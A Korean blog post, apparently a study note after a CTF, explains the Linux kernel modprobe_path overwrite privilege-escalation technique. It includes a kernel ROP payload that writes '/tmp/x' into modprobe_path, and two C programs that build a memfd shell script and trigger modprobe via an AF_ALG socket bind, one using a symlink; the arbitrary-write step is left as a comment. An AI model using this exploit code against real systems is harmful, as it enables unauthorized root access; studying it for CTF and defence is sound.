서론
CTF에서 나와서 조금 더 공부해보는 글.
modprobe_path
우선 modprobe라는 프로그램은 커널에 로드 가능한 모듈을 추가하거나 제거하는데 사용하는 프로그램이다.
다만, 여기서 만일 알 수 없는 형식의 파일이 실행되면 modprobe_path 경로의 프로그램이 root 권한으로 실행된다.
즉, modprobe_path의 값을 조작할 수 있다면 임의의 프로그램을 실행할 수 있다는 것이다.
또한 modprobe_path의 값은 writable 영역에 전역변수로 설정되어 있기에 매우 취약하다.
exploit - before patch
생각보다 꽤 간단하다.
만일 aaw가 가능한 상황이라면 종전의 payload는
save state -> prepare_kernel_cred -> commit_cred -> (tramp, if required) -> get shell -> state load
순이었다면
save state -> modprobe_path 변조 -> get shell -> state load
순으로 간단해진다.
위에서 언급한 것과 같이 modprobe_path는 전역변수이기 때문에 주소 leak이 필요하고,
이 메모리에 값을 넣을 수 있는 gadget들만 구하면 된다.
페이로드 구성은 아래와 같다.
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rax_ret; // return address
payload[off++] = 0x782f706d742f; // rax <- "/tmp/x"
payload[off++] = pop_rbx_r12_rbp_ret;
payload[off++] = modprobe_path; // rbx <- modprobe_path
payload[off++] = 0x0; // dummy r12
payload[off++] = 0x0; // dummy rbp
payload[off++] = write_ptr_rbx_rax_pop2_ret; // modprobe_path <- "/tmp/x"
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = (unsigned long)get_flag;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
exploit - after patch - 1
이를 방지하기 위해 아래 패치가 적용되었다.
하지만 이 또한 우회할 수 있는데, 이는 socket을 이용한 것으로 페이로드는 아래와 같다.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
#include <fcntl.h>
#include <sys/mman.h>
#define MODPROBE_SCRIPT "#!/bin/sh\\n/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1\\n"
int main(void)
{
char fake_modprobe[40] = {0};
struct sockaddr_alg sa;
pid_t pid = getpid();
int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
int shell_stdin_fd = dup(STDIN_FILENO);
int shell_stdout_fd = dup(STDOUT_FILENO);
dprintf(modprobe_script_fd, MODPROBE_SCRIPT, pid, shell_stdin_fd, pid, shell_stdout_fd);
snprintf(fake_modprobe, sizeof(fake_modprobe), "/proc/%i/fd/%i", pid, modprobe_script_fd);
// Overwriting modprobe_path with fake_modprobe here...
int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (alg_fd < 0) {
perror("socket(AF_ALG) failed");
return 1;
}
memset(&sa, 0, sizeof(sa));
sa.salg_family = AF_ALG;
strcpy((char *)sa.salg_type, "V4bel"); // dummy string
bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa));
return 0;
}
exploit - after patch - 2
실제로 modprobe_path에 값을 쓰다보면 쓸 값의 길이가 길어 쓸 수 없는 경우가 있다.
즉, after patch - 1의 경우 fake_modprobe의 값이 "/proc/?/fd/?" 의 길이를 가지게 되는데, 다 쓰지 못하는 경우가 있다.
이를 줄이기 위해서 symbolic link를 사용할 수 있다.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
#include <fcntl.h>
#include <sys/mman.h>
#define MODPROBE_SCRIPT "#!/bin/sh\n/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1\n"
unsigned long modprobe_path = 0xffffffff82b45b20;
char fake_modprobe[40] = {0};
int main()
{
struct sockaddr_alg sa;
pid_t pid = getpid();
int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
int shell_stdin_fd = dup(STDIN_FILENO);
int shell_stdout_fd = dup(STDOUT_FILENO);
dprintf(modprobe_script_fd, MODPROBE_SCRIPT, pid, shell_stdin_fd, pid, shell_stdout_fd);
char link_target[64];
snprintf(link_target, sizeof(fake_modprobe), "/proc/%i/fd/%i", pid, modprobe_script_fd);
char link[64] = "/tmp/x";
if (symlink(link_target, link) < 0)
{
perror("symlink");
return 1;
}
#modprobe_path를 link의 값으로 덮어씌움.
int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (alg_fd < 0) {
perror("socket(AF_ALG) failed");
return 1;
}
memset(&sa, 0, sizeof(sa));
sa.salg_family = AF_ALG;
strcpy((char *)sa.salg_type, "V4bel"); // dummy string
bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa));
printf("[-] Failed");
return 0;
}
Reference
Modprobe overwrite | tripoloski blog
Modprobe overwrite
modprobe overwrite - kernel exploitation
tripoloski1337.github.io
Linux Kernel Exploitation Technique: Overwriting modprobe_path - Midas Blog
Linux Kernel Exploitation Technique: Overwriting modprobe_path
A popular and powerful technique to exploit the Linux kernel through modprobe_path
lkmidas.github.io
Linux Kernel Exploit (CVE-2022–32250) with mqueue - Theori BLOG
Linux Kernel Exploit (CVE-2022–32250) with mqueue - Theori BLOG
We exploited CVE-2022-32250, a use-after-free vulnerability in Linux Netfilter, to achieve root on Ubuntu 22.04. Learn how we bypassed KASLR and modified modprobe_path. | Vulnerability Research
theori.io
'Kernel Exploit > Theory' 카테고리의 다른 글
Kernel - KPTI 우회 (0) | 2023.09.10 |
---|---|
Kernel - SMAP 우회, krop (간단 글) (0) | 2023.09.10 |
kernel exploit helper - gdb, cpio 압축 및 압축해제, 컴파일 (0) | 2023.09.09 |
Kernel - stack pivoting #2 - with xchg (0) | 2023.09.09 |
Kernel - stack pivoting #1 - with mov esp. (0) | 2023.09.08 |